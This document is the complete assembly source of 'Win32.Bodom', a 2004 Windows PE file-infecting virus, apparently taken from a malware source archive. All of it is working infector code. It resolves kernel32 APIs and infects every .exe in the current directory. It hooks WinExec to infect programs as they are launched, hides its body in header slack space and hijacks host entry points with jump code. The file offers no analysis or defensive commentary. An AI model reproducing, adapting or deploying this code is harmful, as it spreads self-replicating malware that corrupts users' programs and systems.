MalwareSourceCode/Win32/Infector/Win32.Bodom.asm
2020-10-16 23:26:21 +02:00

561 lines
13 KiB
NASM

; Win32.Bodom by DR-EF (c) 2004
; -----------------------------
;Author:DR-EF
;Type:Per Process Resident/Direct Action PE infector
;Size:about 1700 bytes
;Features:
;---------
; 1)virus body is placed between the end of
; headers and the first section body,so
; it dont increase file size
; 2)E.P.O - virus dont modifly entry point
; instead it overwrite the host entry
; point with code that jump to loader
; 3)dont change section flags,instead it
; place loader at the aligned space of the
; code section,this loader allocate memory
; and copy the virus body to there,and run
; it from the allocated memory
; 4)Per Process residenty - the virus hook the
; WinExec api,and infect files when this api
; is called,it infect the currect directory
; as well
;
;
; DR-EF.
extrn ExitProcess:proc
.586
.model flat
DEBUG equ 0
VirusSize equ (VirusEnd-VirusStart)
.data
db ?
.code
_main:
;first generation init code:
mov eax,VirusSize
mov ebx,SizeOfLoaderCode
xor ebp,ebp
mov dword ptr [ebp + HostEntryPoint_of],offset Exit
mov edi,offset HostEntryPointBytes
mov esi,offset Exit
mov ecx,SizeOfJumpCode
rep movsb
VirusStart equ $
call Delta
Delta: pop ebp
sub ebp,offset Delta
mov eax,dword ptr [esp]
xor ax,ax
mov ebx,eax
@NextP: cmp word ptr [eax],"ZM" ;check mz sign
jne MoveNP
mov ebx,eax
add eax,[eax + 3ch]
cmp word ptr [eax],"EP" ;check pe sign
je kernelF
MoveNP: xchg eax,ebx
sub eax,1000h
jmp @NextP ;move to next page
kernelF:xchg eax,ebx
push eax
SearchGetProcAddress:
add eax,[eax + 3ch]
mov eax,[eax + 78h]
add eax,[esp]
push eax ;eax - kernel32 export table
xor edx,edx
mov eax,[eax + 20h]
add eax,[esp + 4h]
mov edi,[eax]
add edi,[esp + 4h] ;edi - api names array
dec edi
nxt_cmp:inc edi
lea esi,[ebp + _GetProcAddress]
mov ecx,0eh
rep cmpsb
je search_address
inc edx
nxt_l: cmp byte ptr [edi],0h
je nxt_cmp
inc edi
jmp nxt_l
search_address:
pop eax ;eax - kernel32 export table
shl edx,1h ;edx - GetProcAddress position
mov ebx,[eax + 24h]
add ebx,[esp]
add ebx,edx
mov dx,word ptr [ebx]
shl edx,2h
mov ebx,[eax + 1ch]
add ebx,[esp]
add ebx,edx
mov ebx,[ebx]
add ebx,[esp]
mov [ebp + __GetProcAddress],ebx
mov ecx,NumberOfApis ;ecx - number of apis
lea eax,[ebp + ApiNamesTable] ;eax - address to api strings
lea ebx,[ebp + ApiAddressTable] ;ebx - address to api address
pop edx ;edx - module handle
NextAPI:push ecx
push edx
push eax
push eax
push edx
call [ebp + __GetProcAddress]
mov dword ptr [ebx],eax
pop eax
NextSTR:inc eax
cmp byte ptr [eax],0h
jne NextSTR
inc eax
add ebx,4h
pop edx
pop ecx
loop NextAPI
lea eax,[ebp + WIN32_FIND_DATA]
push eax
call _FindF
db "*.exe",0
_FindF: call [ebp + FindFirstFile]
cmp eax,INVALID_HANDLE_VALUE
je Hook
mov [ebp + hfind],eax
@Find: lea ebx,[ebp + cFileName]
call InfectFile
lea eax,[ebp + WIN32_FIND_DATA]
push eax
push dword ptr [ebp + hfind]
call [ebp + FindNextFile]
or eax,eax
jnz @Find
Hook: ;hook the WinExec api
mov eax,400000h ;host image base
HostImageBase equ ($-VirusStart-4)
lea ebx,[ebp + dll]
lea ecx,[ebp + fn]
lea edx,[ebp + WinExecHook]
call HookApi
mov [ebp + WinExec_],eax
ReturnToHost:
mov edi,12345678h
HostEntryPoint_of equ ($-4)
HostEntryPoint_ equ ($-VirusStart-4)
push edi
call dummy
HostEntryPoint dd 0
dummy: push PAGE_EXECUTE_READWRITE
push 1000h
push edi
call [ebp + VirtualProtect]
mov ecx,SizeOfJumpCode
lea esi,[ebp + HostEntryPointBytes]
rep movsb
ret
db "[Win32.Bodom] Written By DR-EF (c) 2004"
;input:
;eax - image base
;ebx - dll name
;ecx - function name
;edx - hook procedure
;output
;eax - new function address or 0 if fail
HookApi:
cmp word ptr [eax],"ZM" ;check mz sign
jne HookErr
push eax ;save image base in the stack
add eax,[eax + 3ch] ;goto pe header
add eax,80h
mov eax,[eax] ;get import section rva
cmp eax,0h
je HookErr_
add eax,[esp] ;convert it to va
@Dll: mov esi,[eax + 0ch]
cmp esi,0h
je HookErr_
add esi,[esp] ;esi - dll name
;compare the dll name in [esi],with our dll:
pushad
xchg edi,ebx
xor ecx,ecx
@Gsize: cmp byte ptr [edi+ecx],0h ;get our dll size
je _Size
inc ecx
jmp @Gsize
_Size: rep cmpsb
je _dll
popad
add eax,14h ;move to next IMAGE_IMPORT_DESCRIPTOR structure
jmp @Dll
_dll: popad
;edx - Hook procedure
;ecx - function to hook
;eax - IMAGE_IMPORT_DESCRIPTOR of our api dll
;[esp] - image base
mov ebx,[eax] ;get rva to pointers to image import by name structures
add ebx,[esp] ;convert it to va
xor edi,edi ;used to save loop index
@FindApi:
;ebx - pointer to pointers arrary of import by name structures
push edi ;save loop index
push ebx ;save pointer to import by name structures
push eax ;save import section rva
push ecx ;save function to hook name
push edx ;save hook procedure
;--------------------------------------------------------------------
mov esi,[ebx] ;get import by name structure rva
add esi,[esp + 14h] ;convert it to va
add esi,2h ;skip the IBN_Hint
;compare api string with our api name:
mov edi,ecx ;move our api name into edi
xor ecx,ecx ;used to save our api name size
@GSize_:cmp byte ptr [edi + ecx],0h ;did we in the end ?
je ___Size
inc ecx
jmp @GSize_
___Size:inc ecx ;include the 0
rep cmpsb ;compare api names
je ApiFound ;we found it !
;--------------------------------------------------------------------
;restore everthing
pop edx
pop ecx
pop eax
pop ebx
pop edi
add edi,4h
add ebx,4h ;move to next pointer
cmp dword ptr [ebx],0h ;no more pointers ???
jne @FindApi
HookErr_:
pop eax
HookErr:xor eax,eax
ret
ApiFound:
pop edx
pop ecx
pop eax
pop ebx
pop edi
mov esi,[eax + 10h] ;rva to name
add esi,[esp]
add esi,edi ;goto our api address
mov eax,[esi] ;get our api old address
mov [esi],edx ;hook it !
pop esi ;restore stack
ret
WinExecHook:
IF DEBUG
int 3
ENDIF
pushad
pushfd
call HookD
HookD: pop ebp
sub ebp,offset HookD
mov ebx,[esp + 28h]
call InfectFile
popfd
popad
push ebp
call Hook_D
Hook_D: pop ebp
sub ebp,offset Hook_D
xchg eax,ebp
pop ebp
jmp dword ptr [eax + WinExec_]
WinExec_ dd 0
dll db "KERNEL32.dll",0
fn db "WinExec",0
hfind dd 0
INVALID_HANDLE_VALUE equ -1
WIN32_FIND_DATA:
dwFileAttributes dd 0
ftCreationTime dq 0
ftLastAccessTime dq 0
ftLastWriteTime dq 0
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
cFileName db 0ffh dup (0)
cAlternateFileName db 14h dup (0)
;ebx - file name
InfectFile:
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push ebx
call [ebp + CreateFile]
inc eax
je ExitInfect
dec eax
mov dword ptr [ebp + hfile],eax
xor eax,eax
push eax
push eax
push eax
push PAGE_READWRITE
push eax
push dword ptr [ebp + hfile]
call [ebp + CreateFileMapping]
or eax,eax
je ExitCloseFile
mov dword ptr [ebp + hmap],eax
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_WRITE
push dword ptr [ebp + hmap]
call [ebp + MapViewOfFile]
or eax,eax
je ExitCloseMap
mov dword ptr [ebp + mapbase],eax
cmp word ptr [eax],"ZM" ;check mz sign
jne ExitUnmap
add eax,[eax + 3ch]
cmp word ptr [eax],"EP" ;check pe sign
jne ExitUnmap
cmp byte ptr [eax + 0bh],29h ;check if already infected
je ExitUnmap
push eax ;save pe header offset in the stack
xor ecx,ecx
mov cx,[eax + 6h] ;get number of sections
mov ebx,[eax + 34h] ;get image base
mov dword ptr [ebp + VirusEntryPoint],ebx
mov dword ptr [ebp + LoaderEntryPoint],ebx
mov dword ptr [ebp + HostEntryPoint],ebx
mov ebx,[eax + 28h]
add dword ptr [ebp + HostEntryPoint],ebx
mov ebx,[eax + 74h]
shl ebx,3h
add eax,ebx
add eax,78h ;eax -first section header
mov ebx,[eax + 0ch] ;get virtual address
cmp ebx,[eax + 14h]
jne Exit__ ;dont infect file
push eax
@GetLS: add eax,28h
loop @GetLS
sub eax,[ebp + mapbase] ;get end of headers(pe & sections),in file
pop ebx
mov ecx,[ebx + 14h] ;get pointer to raw data of the first section
sub ecx,eax
cmp ecx,VirusSize ;there enough space ?
jb Exit__
mov edi,eax
add edi,[ebp + mapbase]
push edi
push edi
sub edi,[ebp + mapbase]
add dword ptr [ebp + VirusEntryPoint],edi ;save virus entry point
mov edx,[esp] ;get pe header offset
mov eax,[ebx + 10h] ;get size of raw data
sub eax,[ebx + 8h] ;get aligned space size
cmp eax,SizeOfLoaderCode
jb Exit__
mov edi,[ebx + 14h] ;get pointer to raw data
add edi,[ebx + 8h] ;goto alinged space
add dword ptr [ebp + LoaderEntryPoint],edi
add edi,[ebp + mapbase]
lea esi,[ebp + Loader_Code]
mov ecx,SizeOfLoaderCode
rep movsb ;copy the loader into the host
lea edi,[ebp + JumpCode]
xor ecx,ecx
mov cx,word ptr [ebp + push_and_ret+4]
mov byte ptr [edi],68h
mov dword ptr [edi + 1h],ecx
add edi,5h
mov ecx,dword ptr [ebp + push_and_ret]
mov byte ptr [edi],68h
mov dword ptr [edi +1h],ecx
pop edi
push edi
lea esi,[ebp + VirusStart]
mov ecx,VirusSize
rep movsb ;copy the virus into host
;patch the return to host address
pop edi
push dword ptr [ebp + HostEntryPoint]
pop dword ptr [edi + HostEntryPoint_]
mov esi,dword ptr [esp + 4h] ;get pe header
push dword ptr [esi + 34h] ;push image base
pop dword ptr [edi + HostImageBase] ;save image base in the virus body
mov esi,dword ptr [esi + 28h] ;get entry point
add esi,[ebp + mapbase]
pop edi
push esi
add edi,(HostEntryPointBytes - VirusStart)
mov ecx,SizeOfJumpCode
rep movsb ;save host entry point bytes
pop edi
lea esi,[ebp + JumpCode]
mov ecx,SizeOfJumpCode
rep movsb ;overwrite host entry point with jumper code
Exit__: pop eax ;restore pe header
mov byte ptr [eax + 0bh],29h ;sign the file as infected
ExitUnmap:
push dword ptr [ebp + mapbase]
call [ebp + UnmapViewOfFile]
ExitCloseMap:
push dword ptr [ebp + hmap]
call [ebp + CloseHandle]
ExitCloseFile:
push dword ptr [ebp + hfile]
call [ebp + CloseHandle]
ExitInfect:
ret
hfile dd 0
hmap dd 0
mapbase dd 0
push_and_ret:
db 68h
LoaderEntryPoint dd 0
db 0c3h
JumpCode:
db 0ah dup (0)
push esp
xor eax,eax
push dword ptr fs:[eax]
mov fs:[eax],esp
mov dword ptr [eax],eax
SizeOfJumpCode equ ($-JumpCode)
HostEntryPointBytes db SizeOfJumpCode dup(0)
PAGE_EXECUTE_READWRITE equ 40h
FILE_ATTRIBUTE_NORMAL equ 00000080h
FILE_MAP_READ equ 00000004h
OPEN_EXISTING equ 3
FILE_SHARE_READ equ 00000001h
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
PAGE_READWRITE equ 4h
FILE_MAP_WRITE equ 00000002h
Loader_Code:
;find VirtualAlloc api,allocate memory,copy virus into memory & run it
mov esp,[esp + 8h]
pop dword ptr fs:[0]
add esp,0ch
mov eax,dword ptr [esp] ;get return address
xor ax,ax
@Find_: cmp word ptr [eax],"ZM"
je ___1
sub eax,1000h
jmp @Find_
___1: push eax ;eax - kernel base address
add eax,[eax + 3ch]
mov eax,[eax + 78h]
add eax,[esp]
push eax ;eax - kernel32 export table
xor edx,edx
mov eax,[eax + 20h]
add eax,[esp+4h]
mov edi,[eax]
add edi,[esp+4h] ;edi - api names array
dec edi
NxtCmp: inc edi
call OverVA
db "VirtualAlloc",0
OverVA: pop esi
mov ecx,0ch
rep cmpsb
je FindAdd
inc edx
NXT: cmp byte ptr [edi],0h
je NxtCmp
inc edi
jmp NXT
FindAdd:pop eax ;eax - kernel32 export table
shl edx,1h ;edx - GetProcAddress position
mov ebx,[eax + 24h]
add ebx,[esp]
add ebx,edx
mov dx,word ptr [ebx]
shl edx,2h
mov ebx,[eax + 1ch]
add ebx,[esp]
add ebx,edx
mov ebx,[ebx]
add ebx,[esp] ;ebx - GlobalAlloc address
pop eax
push PAGE_EXECUTE_READWRITE
push 1000h
push VirusSize
push 0h
call ebx ;allocate memory
push eax
xchg edi,eax
mov esi,12345678h
VirusEntryPoint equ ($-4)
mov ecx,VirusSize
rep movsb
ret
SizeOfLoaderCode equ ($-Loader_Code)
_GetProcAddress db "GetProcAddress",0
__GetProcAddress dd 0
ApiNamesTable:
_CreateFile db "CreateFileA",0
_CloseHandle db "CloseHandle",0
_CreateFileMapping db "CreateFileMappingA",0
_MapViewOfFile db "MapViewOfFile",0
_UnmapViewOfFile db "UnmapViewOfFile",0
_FindFirstFileA db "FindFirstFileA",0
_FindNextFileA db "FindNextFileA",0
_VirtualProtect db "VirtualProtect",0
ApiAddressTable:
CreateFile dd 0
CloseHandle dd 0
CreateFileMapping dd 0
MapViewOfFile dd 0
UnmapViewOfFile dd 0
FindFirstFile dd 0
FindNextFile dd 0
VirtualProtect dd 0
NumberOfApis equ 8
VirusEnd equ $
Exit:
push eax
call ExitProcess
end _main